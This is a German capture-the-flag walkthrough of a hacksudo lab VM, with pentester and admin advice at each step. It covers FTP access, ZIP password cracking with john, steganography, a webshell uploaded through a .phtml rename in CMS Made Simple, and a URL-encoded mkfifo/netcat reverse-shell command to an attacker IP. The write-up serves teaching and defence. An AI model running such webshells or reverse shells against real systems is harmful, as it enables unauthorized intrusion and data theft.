1. Stellen Sie sicher, dass FTP-Benutzer nur auf die für sie vorgesehenen Verzeichnisse zugreifen können (chroot jail).
2. Speichern Sie keine sensiblen Backups oder potenziell aufschlussreiche Dateien in FTP-Verzeichnissen.
3. Überprüfen Sie die Dateiberechtigungen regelmäßig.
great you done step 1
___ ___ _ __ __ _ _ __ __ _| |_ _ _| | __ _| |_(_) ___ _ __
/ __/ _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \
| (_| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | |
\___\___/|_| |_|\__, |_| \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|
|___/
www.hacksudo.com
**Analyse:** Dieser Befehl wird auf dem *lokalen* System des Angreifers ausgeführt, *nachdem* `flag1.txt` vermutlich heruntergeladen wurde (obwohl der `get`-Befehl hier nicht explizit gezeigt wird, aber im nächsten Block). `cat flag1.txt` zeigt den Inhalt der Datei an. Sie enthält eine Glückwunschbotschaft ("great you done step 1"), ASCII-Art und einen Link zur Website des Autors.
**Bewertung:** Dies ist eine typische erste Flagge in einer CTF-Umgebung. Sie bestätigt, dass der erste Schritt (Zugriff auf FTP) erfolgreich war, liefert aber keine direkten technischen Hinweise für den weiteren Verlauf, außer der Bestätigung, auf dem richtigen Weg zu sein.
**Empfehlung (Pentester):** Nehmen Sie die Flagge zur Kenntnis und konzentrieren Sie sich auf das Verzeichnis `hacksudo_ISRO_bak` auf dem FTP-Server.
**Empfehlung (Admin):** Solche Flag-Dateien sind spezifisch für CTF-Umgebungen und haben in Produktionssystemen keine Relevanz. Entfernen Sie jegliche nicht betriebsnotwendigen Dateien.
Connected to 192.168.2.114.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 19:55. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (192.168.2.114:cyber): hacksudo
331 User hacksudo OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Extended Passive mode OK (|||52030|)
150 Accepted data connection
drwxr-xr-x 3 1002 ftpgroup 4096 May 7 2021 .
drwxr-xr-x 3 1002 ftpgroup 4096 May 7 2021 ..
-rw-r--r-- 1 33 33 389 May 7 2021 flag1.txt
drwxr-xr-x 2 0 0 4096 May 6 2021 hacksudo_ISRO_bak
226-Options: -a -l
226 4 matches total
ftp> get flag1.txt
local: flag1.txt remote: flag1.txt
229 Extended Passive mode OK (|||45336|)
150 Accepted data connection
100% |************************************************| 389 969.08 KiB/s 00:00 ETA
226-File successfully transferred
226 0.000 seconds (measured here), 1.04 Mbytes per second
389 bytes received in 00:00 (752.24 KiB/s)
ftp> get hacksudo_ISRO_bak
local: hacksudo_ISRO_bak remote: hacksudo_ISRO_bak
229 Extended Passive mode OK (|||39221|)
550 I can only retrieve regular files
ftp> cd /home
550 Can't change directory to /home: No such file or directory
ftp> pwd
Remote directory: /
ftp> put dict.txt
local: dict.txt remote: dict.txt
229 Extended Passive mode OK (|||1124|)
150 Accepted data connection
100% |************************************************| 1798 53.58 MiB/s 00:00 ETA
226-File successfully transferred
226 0.000 seconds (measured here), 5.70 Mbytes per second
1798 bytes sent in 00:00 (5.02 MiB/s)
ftp>
ftp> ^D
221-Goodbye. You uploaded 2 and downloaded 1 kbytes.
221 Logout.
**Analyse:** Hier wird sich erneut per FTP angemeldet. Diesmal werden mehrere Aktionen durchgeführt: * `ls -la`: Zeigt wieder den Inhalt des Wurzelverzeichnisses an (dieser Teil ist eine Wiederholung). * `get flag1.txt`: Lädt die Flag-Datei herunter (dies ist der fehlende Schritt vor dem vorherigen `cat`-Befehl). * `get hacksudo_ISRO_bak`: Versucht, das Backup-Verzeichnis herunterzuladen. Dies schlägt fehl (`550 I can only retrieve regular files`), da `get` nur für Dateien, nicht für Verzeichnisse funktioniert. * `cd /home`: Versucht, in das `/home`-Verzeichnis auf dem Server zu wechseln. Dies schlägt fehl (`550 Can't change directory...`), was darauf hindeutet, dass der FTP-Benutzer möglicherweise in seinem Stammverzeichnis eingesperrt ist (chroot jail) oder keine Berechtigung hat. * `pwd`: Bestätigt, dass das aktuelle Verzeichnis immer noch `/` ist (das Wurzelverzeichnis des FTP-Benutzers). * `put dict.txt`: Lädt die lokale `dict.txt`-Datei auf den FTP-Server hoch. Dies ist erfolgreich (`226-File successfully transferred`), was bedeutet, dass der Benutzer Schreibrechte in seinem Stammverzeichnis hat. * `^D` (Strg+D): Beendet die FTP-Sitzung.
**Bewertung:** Diese Interaktion liefert mehrere wichtige Erkenntnisse: 1. Der `get`-Befehl für Verzeichnisse funktioniert nicht; wir benötigen einen anderen Ansatz, um den Inhalt von `hacksudo_ISRO_bak` zu erhalten (z.B. `wget -r` oder manuelles Wechseln und Herunterladen). 2. Der Benutzer `hacksudo` scheint in seinem Verzeichnis eingesperrt zu sein und kann nicht frei im Dateisystem navigieren. 3. Der Benutzer hat Schreibrechte in seinem Stammverzeichnis. Dies ist eine kritische Information, da sie das Hochladen von Dateien (z.B. Webshells, Skripten) ermöglicht, falls dieses Verzeichnis über einen anderen Dienst (z.B. den Webserver) erreichbar ist. Der Upload von `dict.txt` war hier jedoch vermutlich nicht für einen Angriff gedacht, sondern eher ein Test der Schreibrechte.
**Empfehlung (Pentester):**
1. Verwenden Sie `wget -r` oder einen anderen FTP-Client, der rekursive Downloads unterstützt, um den Inhalt von `hacksudo_ISRO_bak` herunterzuladen.
2. Merken Sie sich die Schreibrechte. Wenn das FTP-Stammverzeichnis über HTTP erreichbar ist, könnte hier eine Webshell hochgeladen werden. Prüfen Sie, ob `/var/www/html` oder ein ähnliches Verzeichnis das FTP-Root ist (eher unwahrscheinlich bei einem chroot jail).
**Empfehlung (Admin):**
1. Entziehen Sie FTP-Benutzern Schreibrechte, wenn diese nicht unbedingt erforderlich sind.
2. Stellen Sie sicher, dass FTP-Verzeichnisse nicht über Webserver erreichbar sind und umgekehrt (Trennung der Dienste und Berechtigungen).
3. Konfigurieren Sie das FTP-Server-Logging, um Datei-Uploads und -Downloads zu überwachen.
--2023-05-27 02:01:52-- ftp://hacksudo:*password*@192.168.2.114/hacksudo_ISRO_bak
=> »192.168.2.114/.listing«
Verbindungsaufbau zu 192.168.2.114:21 … verbunden
......
....
..
**Analyse:** Der Befehl `wget -r ftp://hacksudo:hackme@192.168.2.114/hacksudo_ISRO_bak` verwendet `wget` nun im rekursiven Modus (`-r`), um das Verzeichnis `hacksudo_ISRO_bak` vom FTP-Server herunterzuladen. Die Anmeldedaten werden direkt in der URL übergeben (`benutzer:passwort@host`). `wget` loggt sich ein und lädt den gesamten Inhalt des angegebenen Verzeichnisses herunter. Die Ausgabe ist hier stark gekürzt, aber sie zeigt den Start des Prozesses an. `wget` maskiert das Passwort in der Log-Ausgabe als `*password*`.
**Bewertung:** Dies ist der korrekte Weg, um den Inhalt des Backup-Verzeichnisses zu erhalten. Der Erfolg dieses Befehls bedeutet, dass die Dateien aus dem Backup nun lokal zur Analyse zur Verfügung stehen.
**Empfehlung (Pentester):** Wechseln Sie in das lokal erstellte Verzeichnis (`192.168.2.114/hacksudo_ISRO_bak`) und untersuchen Sie die heruntergeladenen Dateien gründlich.
**Empfehlung (Admin):** Vermeiden Sie es, Anmeldedaten direkt in Befehlen oder Skripten zu verwenden, da sie im Prozesslisting oder in Logdateien sichtbar sein können. Nutzen Sie sicherere Methoden zur Authentifizierung. Überwachen Sie rekursive Downloads von FTP-Servern, da dies auf Datendiebstahl hindeuten könnte.
insgesamt 4
drwxr-xr-x 2 root root 4096 27. Mai 02:01 hacksudo_ISRO_bak
**Analyse:** Der Befehl `ll` (ein Alias für `ls -l` oder `ls -al` auf vielen Systemen) wird im lokalen Verzeichnis `~/192.168.2.114` ausgeführt. Dieses Verzeichnis wurde von `wget` erstellt. Die Ausgabe zeigt das heruntergeladene Verzeichnis `hacksudo_ISRO_bak`.
**Bewertung:** Bestätigt das erfolgreiche Herunterladen des Verzeichnisses durch `wget`.
**Empfehlung (Pentester):** Wechseln Sie in das Verzeichnis `hacksudo_ISRO_bak`, um dessen Inhalt zu untersuchen.
**Empfehlung (Admin):** Keine spezifische Empfehlung für diesen Schritt, da er auf dem Angreifersystem stattfindet.
insgesamt 1544
-rw-r--r-- 1 root root 63 5. Mai 2021 authors.txt
-rw-r--r-- 1 root root 0 6. Mai 2021 installfog
-rw-r--r-- 1 root root 1573833 6. Mai 2021 secr3tSteg.zip
**Analyse:** Der Befehl `ll` wird nun im heruntergeladenen Verzeichnis `hacksudo_ISRO_bak` ausgeführt. Die Ausgabe zeigt drei Dateien: * `authors.txt`: Eine kleine Textdatei. * `installfog`: Eine leere Datei (Größe 0). * `secr3tSteg.zip`: Eine ZIP-Datei mit einer beachtlichen Größe von ca. 1.5 MB. Der Name "secr3tSteg" deutet auf Geheimnisse (secret) und Steganografie (Steg) hin.
**Bewertung:** Das Backup-Verzeichnis enthält potenziell sehr interessante Dateien. `authors.txt` könnte Benutzernamen oder E-Mail-Adressen enthalten. Die leere `installfog`-Datei ist weniger interessant. Die große ZIP-Datei `secr3tSteg.zip` ist das Hauptziel der Untersuchung, insbesondere in Verbindung mit dem Hinweis auf "SoundStegno" aus `index1.html`. Sie ist wahrscheinlich passwortgeschützt und enthält versteckte Daten.
**Empfehlung (Pentester):**
1. Lesen Sie den Inhalt von `authors.txt`.
2. Versuchen Sie, `secr3tSteg.zip` zu entpacken. Wenn es passwortgeschützt ist, versuchen Sie, das Passwort zu knacken (z.B. mit `zip2john` und `john`).
**Empfehlung (Admin):**
1. Speichern Sie keine ZIP-Archive mit sensiblen Daten oder potenziellen Hinweisen in Backups, die leicht zugänglich sind.
2. Verschlüsseln Sie Backups sicher und verwenden Sie starke Passwörter.
hacksudo CEO & Founder = vishal waghmare <vishal@hacksudo.com>
**Analyse:** Der Befehl `cat authors.txt` zeigt den Inhalt der Textdatei an. Sie enthält den Namen und die E-Mail-Adresse des "CEO & Founder" von hacksudo.
**Bewertung:** Dies liefert einen potenziellen Benutzernamen (`vishal`) und eine E-Mail-Adresse. Diese Information könnte für Social Engineering oder weitere Brute-Force-Versuche nützlich sein, falls andere Dienste (z.B. SSH, CMS) diesen Benutzernamen verwenden.
**Empfehlung (Pentester):** Fügen Sie `vishal` zur Liste potenzieller Benutzernamen hinzu und versuchen Sie, Standardpasswörter oder Passwörter aus der `dict.txt` für diesen Benutzer bei anderen Diensten (SSH, CMS-Login) zu testen.
**Empfehlung (Admin):** Vermeiden Sie es, Mitarbeiterinformationen, insbesondere von Führungskräften, in leicht zugänglichen Dateien preiszugeben. Schulen Sie Mitarbeiter bezüglich Social Engineering.
Created directory: /root/.john
ver 2.0 efh 5455 efh 7875 secr3tSteg.zip/hacksudoSTEGNO.wav PKZIP Encr: TS_chk, cmplen=1573432, decmplen=1965596, crc=8B4A9445 ts=9A86 cs=9a86 type=8
ver 1.0 efh 5455 efh 7875 ** 2b ** secr3tSteg.zip/secr3t.txt PKZIP Encr: TS_chk, cmplen=35, decmplen=23, crc=DD73D9B0 ts=9AB0 cs=9ab0 type=0
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
**Analyse:** Der Befehl `zip2john secr3tSteg.zip > hash.txt` verwendet das Tool `zip2john` (Teil der John the Ripper Suite), um den Passwort-Hash aus der passwortgeschützten ZIP-Datei `secr3tSteg.zip` zu extrahieren. Der extrahierte Hash wird in die Datei `hash.txt` umgeleitet (`>`). `zip2john` erkennt, dass die ZIP-Datei mindestens zwei verschlüsselte Dateien enthält (`hacksudoSTEGNO.wav`, `secr3t.txt`) und extrahiert einen Hash, der zum Knacken des Passworts verwendet werden kann. Es gibt eine Warnung aus, dass angenommen wird, alle Dateien hätten dasselbe Passwort.
**Bewertung:** Dieser Schritt ist notwendig, um das Passwort der ZIP-Datei knacken zu können. Der Hash wurde erfolgreich extrahiert und in `hash.txt` gespeichert, bereit für den nächsten Schritt mit `john`.
**Empfehlung (Pentester):** Verwenden Sie `john` mit einer geeigneten Wortliste (z.B. `rockyou.txt`), um den Hash in `hash.txt` zu knacken und das Passwort für die ZIP-Datei zu finden.
**Empfehlung (Admin):** Verwenden Sie starke, zufällige Passwörter für verschlüsselte Archive. Vermeiden Sie die Wiederverwendung von Passwörtern. Wenn möglich, verwenden Sie robustere Verschlüsselungsalgorithmen als die Standard-PKZIP-Verschlüsselung.
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
==================================================
fooled (secr3tSteg.zip)
==================================================
1g 0:00:00:00 DONE (2023-05-27 02:05) 25.00g/s 7372Kp/s 7372Kc/s 7372KC/s rebel91..redsox45
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
**Analyse:** Der Befehl `john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt` verwendet John the Ripper, um das in `hash.txt` gespeicherte Passwort-Hash zu knacken. * `--wordlist=/usr/share/wordlists/rockyou.txt`: Gibt die bekannte Wortliste `rockyou.txt` an, die John zum Testen von Passwörtern verwenden soll. * `hash.txt`: Die Datei, die den zu knackenden Hash enthält. John the Ripper war sehr schnell erfolgreich und fand das Passwort `fooled` für die ZIP-Datei `secr3tSteg.zip`. Die hohe Geschwindigkeit (`25.00g/s`) deutet darauf hin, dass das Passwort relativ früh in der `rockyou.txt`-Liste gefunden wurde.
**Bewertung:** Erfolg! Das Passwort für die ZIP-Datei wurde geknackt. Dies ermöglicht nun den Zugriff auf die darin enthaltenen Dateien (`hacksudoSTEGNO.wav` und `secr3t.txt`). Das Passwort selbst ist relativ einfach und unterstreicht die Wichtigkeit starker Passwörter.
**Empfehlung (Pentester):** Entpacken Sie `secr3tSteg.zip` mit dem gefundenen Passwort `fooled` und untersuchen Sie die extrahierten Dateien.
**Empfehlung (Admin):** Erzwingen Sie die Verwendung komplexer Passwörter, die nicht in gängigen Wortlisten wie `rockyou.txt` enthalten sind. Schulen Sie Benutzer darin, sichere Passwörter zu wählen.
Archive: secr3tSteg.zip
[secr3tSteg.zip] hacksudoSTEGNO.wav password:
inflating: hacksudoSTEGNO.wav
extracting: secr3t.txt
**Analyse:** Der Befehl `unzip secr3tSteg.zip` wird verwendet, um die ZIP-Datei zu entpacken. Das Tool fragt nach dem Passwort (das hier nicht sichtbar eingegeben wird, aber `fooled` ist). Nach erfolgreicher Eingabe werden die beiden enthaltenen Dateien `hacksudoSTEGNO.wav` (eine WAV-Audiodatei) und `secr3t.txt` (eine Textdatei) extrahiert.
**Bewertung:** Der Inhalt der ZIP-Datei ist nun zugänglich. Die Dateinamen bestätigen die vorherigen Annahmen: eine Audiodatei, die wahrscheinlich mit Steganografie bearbeitet wurde, und eine Textdatei mit einem vielversprechenden Namen.
**Empfehlung (Pentester):**
1. Lesen Sie den Inhalt von `secr3t.txt`.
2. Verwenden Sie das SoundStegno-Tool (oder ein ähnliches Werkzeug für Audio-Steganografie), um versteckte Nachrichten in `hacksudoSTEGNO.wav` zu extrahieren.
**Empfehlung (Admin):** Implementieren Sie Data Loss Prevention (DLP)-Systeme, um die Exfiltration sensibler Daten durch Steganografie oder in Archiven zu erkennen oder zu verhindern.
localhost = server IP
**Analyse:** Der Befehl `cat secr3t.txt` zeigt den Inhalt der extrahierten Textdatei an. Er lautet "localhost = server IP".
**Bewertung:** Dies ist ein weiterer Hinweis. Er legt nahe, dass in irgendeinem Kontext (möglicherweise in der versteckten Nachricht der WAV-Datei) der Begriff `localhost` durch die tatsächliche IP-Adresse des Servers (192.168.2.114) oder den Hostnamen (`hacksudo.hmv`) ersetzt werden sollte.
**Empfehlung (Pentester):** Behalten Sie diesen Hinweis im Hinterkopf, wenn Sie die aus der WAV-Datei extrahierte Nachricht interpretieren.
**Empfehlung (Admin):** Auch hier gilt: Entfernen Sie unnötige oder hinweisgebende Dateien aus Systemen und Backups.
| || (_)__| |__| |___ _ _ \ \ / /_ ___ _____
| __ | / _` / _` / -_) ' \ \ \/\/ / _` \ V / -_)
|_||_|_\__,_\__,_\___|_||_|_\_/\_/\__,_|\_/\___|
|___|v1.0 www.techchip.net
Visit for more tutorials : www.youtube.com/techchipnet
Hide your text message in wave audio file like MR.ROBOT
Please wait...
Your Secret Message is: Shift by 3
ABCDEFGHIJKLMNOPQRSTUVWXYZ
DEFGHIJKLMNOPQRSTUVWXYZABC
zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR
**Analyse:** Hier wird das Python-Skript `ExWave.py` aus dem zuvor erwähnten SoundStegno-Tool verwendet, um versteckte Daten aus der Audiodatei `hacksudoSTEGNO.wav` zu extrahieren. * `python3 ~/HackingTools/SoundStegno/ExWave.py`: Führt das Skript mit Python 3 aus (der Pfad `~/HackingTools/...` impliziert, dass das Tool zuvor vom Angreifer heruntergeladen und gespeichert wurde). * `-f hacksudoSTEGNO.wav`: Gibt die zu analysierende WAV-Datei an. Das Skript extrahiert erfolgreich eine versteckte Nachricht. Die Ausgabe enthält: * Einen Hinweis: "Shift by 3" und eine Darstellung des Alphabets, verschoben um 3 Stellen (A->D, B->E, ...). Dies ist eine klare Indikation für eine Caesar-Verschlüsselung mit einem Schlüssel von 3. * Den verschlüsselten Text: `zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR`
**Bewertung:** Dies ist ein entscheidender Durchbruch. Die Kombination aus dem Hinweis in `index1.html` und der Ausgabe dieses Skripts liefert sowohl den verschlüsselten Text als auch den Schlüssel zur Entschlüsselung. Die Verbindung zwischen Steganografie und Kryptografie wurde hier genutzt, um Informationen zu verstecken.
**Empfehlung (Pentester):** Entschlüsseln Sie den Text `zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR` mit einer Caesar-Entschlüsselung (Shift -3 oder Shift +23). Berücksichtigen Sie dabei den Hinweis aus `secr3t.txt` bezüglich `localhost`.
**Empfehlung (Admin):** Überwachen Sie Netzwerkverkehr und Endpunkte auf Anzeichen von Steganografie-Tools oder -Daten. Schulen Sie Benutzer bezüglich der Risiken des Datendiebstahls durch versteckte Kanäle.
----------------------------------------------------------------------------------------------------
https://www.dcode.fr/caesar-cipher
zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR
wwww.localhost/fog Username=fog:password=hacksudoISRO
----------------------------------------------------------------------------------------------------
**Analyse:** Diese Notiz dokumentiert den Entschlüsselungsprozess. Der Pentester hat offenbar eine Online-Ressource (`dcode.fr/caesar-cipher`) verwendet, um den zuvor extrahierten Text `zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR` mit einer Caesar-Verschiebung von -3 zu entschlüsseln. Das Ergebnis ist `wwww.localhost/fog Username=fog:password=hacksudoISRO`. Die führenden `w` scheinen ein Artefakt oder Teil der URL zu sein.
**Bewertung:** Grandios! Die Entschlüsselung liefert eine URL (`wwww.localhost/fog`) und, noch wichtiger, Anmeldedaten: Benutzername `fog` und Passwort `hacksudoISRO`. Unter Berücksichtigung des Hinweises `localhost = server IP` lautet die relevante URL wahrscheinlich `http://hacksudo.hmv/fog`. Diese Zugangsdaten sind vermutlich für die FOG-Anwendung oder das zuvor gefundene CMS (`/cms/admin`) bestimmt.
**Empfehlung (Pentester):**
1. Versuchen Sie, sich mit den Zugangsdaten `fog`:`hacksudoISRO` bei der FOG-Anwendung (`http://hacksudo.hmv/fog/management`) oder dem CMS-Admin-Bereich (`http://hacksudo.hmv/cms/admin`) anzumelden.
**Empfehlung (Admin):**
1. Speichern Sie niemals Klartext-Passwörter oder sensible Zugangsdaten in versteckten oder verschlüsselten Nachrichten innerhalb von Anwendungen oder Dateien.
2. Verwenden Sie starke, einzigartige Passwörter für alle Konten und Dienste.
3. Implementieren Sie Multi-Faktor-Authentifizierung (MFA) für administrative Zugänge.
http://hacksudo.hmv/cms/admin/login.php
username: fog
password: hacksudoISRO
----------------------------------------------------------------------------------------------------
**Analyse:** Diese Notiz präzisiert das Ziel für die gerade gefundenen Zugangsdaten. Der Pentester hat offenbar die Login-Seite des CMS unter `http://hacksudo.hmv/cms/admin/login.php` identifiziert und plant, dort den Benutzernamen `fog` und das Passwort `hacksudoISRO` zu verwenden.
**Bewertung:** Dies ist ein logischer nächster Schritt. Der Zugriff auf das Admin-Panel eines CMS bietet oft Möglichkeiten zur Codeausführung oder zum Hochladen von Dateien, was zu einem vollständigen Zugriff auf den Webserver führen kann.
**Empfehlung (Pentester):** Führen Sie die Anmeldung beim CMS durch. Suchen Sie nach Funktionen zum Hochladen von Dateien, zum Bearbeiten von Templates/Code oder nach bekannten Schwachstellen im CMS.
**Empfehlung (Admin):** Schützen Sie den CMS-Admin-Bereich besonders (starke Passwörter, MFA, Zugriffsbeschränkung auf IP-Ebene). Halten Sie das CMS und alle Plugins/Themes immer auf dem neuesten Stand.
searchsploit CMS Made Simple 2.2.5
https://www.exploit-db.com/exploits/44976
----------------------------------------------------------------------------------------------------
**Analyse:** Diese Notiz zeigt, dass der Pentester nach der Anmeldung (oder durch Analyse der Login-Seite/des Quellcodes) das verwendete CMS als "CMS Made Simple" (CMSMS) und dessen Version (vermutlich 2.2.5, obwohl dies hier nicht explizit bestätigt wird, aber der Exploit darauf abzielt) identifiziert hat. Der Befehl `searchsploit CMS Made Simple 2.2.5` wurde wahrscheinlich ausgeführt (Searchsploit ist ein Kommandozeilen-Tool zum Durchsuchen der lokalen Exploit-DB-Datenbank). Es wurde ein relevanter Exploit gefunden: `https://www.exploit-db.com/exploits/44976`. Dieser Exploit betrifft eine SQL-Injection-Schwachstelle in CMSMS <= 2.2.5, die zur Remote Code Execution (RCE) führen kann.
**Bewertung:** Das ist ein kritischer Fund. Eine bekannte, öffentlich verfügbare Schwachstelle mit einem Exploit für RCE in der (vermuteten) Version des CMS wurde identifiziert. Dies ist der wahrscheinlichste Weg, um nun eine Shell auf dem Server zu bekommen.
**Empfehlung (Pentester):**
1. Lesen Sie die Beschreibung des Exploits (EDB-ID 44976) sorgfältig durch.
2. Passen Sie den Exploit gegebenenfalls an die Umgebung an und führen Sie ihn aus, um eine Shell zu erhalten. Die folgenden Notizen deuten jedoch auf einen manuellen Exploit-Weg hin, der möglicherweise auf der gleichen Schwachstelle basiert oder eine alternative Methode darstellt (z.B. nach erfolgreichem Login).
**Empfehlung (Admin):**
1. Halten Sie CMS-Software *immer* auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Patchen Sie Systeme zeitnah.
2. Verwenden Sie eine Web Application Firewall (WAF), um Angriffe auf bekannte Schwachstellen zu blockieren.
3. Deaktivieren oder entfernen Sie nicht benötigte Funktionen oder Module im CMS, um die Angriffsfläche zu verkleinern.
im Filemanager in der Editorleiste den Reiter rename anklicken
die textdatei in eine phtml datei umbenennen
http://hacksudo.hmv/cms/uploads/cmsmsrce.phtml?cmd=ls
NCleanBlue cmsmsrce.phtml images index.html ngrey simplex
----------------------------------------------------------------------------------------------------
**Analyse:** Diese Notiz beschreibt einen manuellen Weg zur Codeausführung nach dem Login in das CMS Made Simple Admin-Panel. Der Pentester hat offenbar eine Funktion gefunden (wahrscheinlich im Dateimanager), um Dateien hochzuladen oder zu bearbeiten. 1. Es wird eine Datei hochgeladen oder erstellt (vermutlich eine Textdatei mit PHP-Code). 2. Diese Datei wird über die "rename"-Funktion in eine Datei mit der Endung `.phtml` umbenannt. `.phtml` wird von Apache oft wie PHP behandelt, kann aber manchmal Sicherheitsfilter umgehen, die `.php`-Uploads blockieren. 3. Der Pentester ruft die umbenannte Datei (`cmsmsrce.phtml`, vermutlich im `uploads`-Verzeichnis) über den Browser auf und hängt einen Befehl als URL-Parameter an (`?cmd=ls`). 4. Die Ausgabe `NCleanBlue cmsmsrce.phtml images index.html ngrey simplex` ist das Ergebnis des `ls`-Befehls, ausgeführt auf dem Server im Kontext des Webservers (wahrscheinlich `www-data`). Sie listet den Inhalt des `uploads`-Verzeichnisses auf.
**Bewertung:** Dies ist ein erfolgreicher Nachweis von Remote Code Execution (RCE). Der Pentester kann beliebige Befehle auf dem Server ausführen, indem er sie an den `cmd`-Parameter der `.phtml`-Datei anhängt. Dies ist ein kritischer Zustand, der vollen Zugriff auf alle Daten und Funktionen ermöglicht, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. Die Methode über das Umbenennen in `.phtml` ist ein klassischer Trick, um Upload-Filter zu umgehen.
**Empfehlung (Pentester):**
1. Nutzen Sie die RCE, um das System weiter zu erkunden (z.B. `id`, `pwd`, `ls -la /home`, `cat /etc/passwd`).
2. Versuchen Sie, eine stabilere Reverse Shell oder Webshell zu etablieren.
3. Suchen Sie nach Möglichkeiten zur Privilegieneskalation.
**Empfehlung (Admin):**
1. Konfigurieren Sie den Webserver so, dass er nur erwartete Dateiendungen (z.B. `.php`) als ausführbaren Code interpretiert und `.phtml` oder ähnliche umgangene Endungen blockiert.
2. Härten Sie die Dateimanager-Funktionen im CMS: Beschränken Sie erlaubte Dateitypen für Uploads strikt, verbieten Sie das Umbenennen in potenziell ausführbare Endungen, überprüfen Sie Dateiinhalte.
3. Führen Sie den Webserver-Prozess mit minimalen Rechten aus.
4. Überwachen Sie die Erstellung und Ausführung von Dateien in Upload-Verzeichnissen.
http://hacksudo.hmv/cms/uploads/cmsmsrce.phtml?cmd=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E&1|nc%20192.168.2.110%209001%20%3E/tmp/f ┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001 listening on [any] 9001 ... kein Erfolg ----------------------------------------------------------------------------------------------------
**Analyse:** Hier versucht der Pentester, mithilfe der RCE eine Reverse Shell zum eigenen Rechner (192.168.2.110) auf Port 9001 aufzubauen. * Der `cmd`-Parameter enthält eine Kette von Befehlen, URL-kodiert (`%20` für Leerzeichen, `%3E` für `>`, `%7C` für `|`): * `rm /tmp/f`: Löscht eine eventuell vorhandene temporäre FIFO-Datei. * `mkfifo /tmp/f`: Erstellt eine Named Pipe (FIFO) namens `/tmp/f`. * `cat /tmp/f | /bin/sh -i 2>&1`: Liest aus der Pipe, leitet die Daten an eine interaktive Shell (`/bin/sh -i`) weiter und leitet deren Standard-Error (2) an Standard-Output (1) um. * `nc 192.168.2.110 9001 > /tmp/f`: Stellt eine Verbindung mit Netcat (`nc`) zum Angreifer-PC (192.168.2.110) auf Port 9001 her und leitet die von dort empfangenen Daten in die Pipe `/tmp/f`. * Parallel dazu startet der Angreifer auf seinem lokalen Rechner einen Netcat-Listener (`nc -lvnp 9001`), der auf eingehende Verbindungen auf Port 9001 wartet. * Die Notiz "kein Erfolg" besagt, dass dieser Versuch fehlgeschlagen ist – es kam keine Verbindung beim Listener an.
**Bewertung:** Der Versuch, eine interaktive Reverse Shell zu bekommen, scheiterte. Mögliche Gründe dafür sind: * Ausgehende Verbindungen vom Webserver sind durch eine Firewall blockiert. * Das `nc`-Kommando ist auf dem Zielsystem nicht verfügbar oder funktioniert anders als erwartet. * Die Befehlskette ist fehlerhaft oder wird durch die Webserver-Umgebung behindert. Obwohl die RCE grundsätzlich funktioniert (wie der vorherige `ls`-Befehl zeigte), ist das Etablieren einer stabilen Shell manchmal schwierig.
**Empfehlung (Pentester):**
1. Versuchen Sie alternative Reverse-Shell-Payloads (z.B. mit Python, Perl, PHP-eigenen Funktionen).
2. Prüfen Sie, ob `wget` oder `curl` auf dem Zielsystem verfügbar sind, um Tools oder Skripte vom Angreifer-System herunterzuladen.
3. Fahren Sie mit der Informationssammlung über die bestehende RCE fort (`cmd=`-Parameter), auch wenn keine interaktive Shell zustande kommt.
**Empfehlung (Admin):**
1. Implementieren Sie Egress-Firewall-Regeln, um unerwünschte ausgehende Verbindungen vom Server zu blockieren (insbesondere von Webservern).
2. Installieren Sie nur absolut notwendige Tools auf Servern (härten Sie das System, entfernen Sie z.B. `nc`, wenn nicht benötigt).
3. Überwachen Sie ausgehende Netzwerkverbindungen auf ungewöhnliche Aktivitäten.
Nachdem der Versuch, eine interaktive Reverse Shell zu etablieren, fehlschlug, demonstrieren wir die vorhandene Remote Code Execution (RCE) durch die Ausführung einfacher Befehle über den `cmd`-Parameter der hochgeladenen `.phtml`-Datei. Dies dient als eindeutiger Beweis (Proof of Concept) für die kritische Schwachstelle.
http://hacksudo.hmv/cms/uploads/cmsmsrce.phtml?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** Der Pentester ruft die Webshell (`cmsmsrce.phtml`) mit dem Befehl `id` im `cmd`-Parameter auf. Der `id`-Befehl unter Linux/Unix zeigt die Benutzer- und Gruppen-IDs des aktuellen Benutzers an. Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigt, dass die Befehle als Benutzer `www-data` (Standardbenutzer für Apache auf Debian-Systemen) mit der Benutzer-ID 33 und der Gruppen-ID 33 ausgeführt werden.
**Bewertung:** Dies ist ein klarer Beweis für die erfolgreiche RCE. Wir können Befehle ausführen und erhalten die Ausgabe. Der Kontext ist der des Webserver-Benutzers `www-data`, der typischerweise eingeschränkte Rechte hat, aber Zugriff auf Webdateien und potenziell andere Systemressourcen hat.
**Empfehlung (Pentester):** Nutzen Sie diesen RCE-Zugriff, um das System weiter zu enumerieren: Listen Sie Verzeichnisse auf (`ls -la`), lesen Sie Konfigurationsdateien (`cat /etc/passwd`, `cat config.php` falls vorhanden), suchen Sie nach Datenbankzugangsdaten oder anderen sensiblen Informationen, die für die Privilegieneskalation nützlich sein könnten.
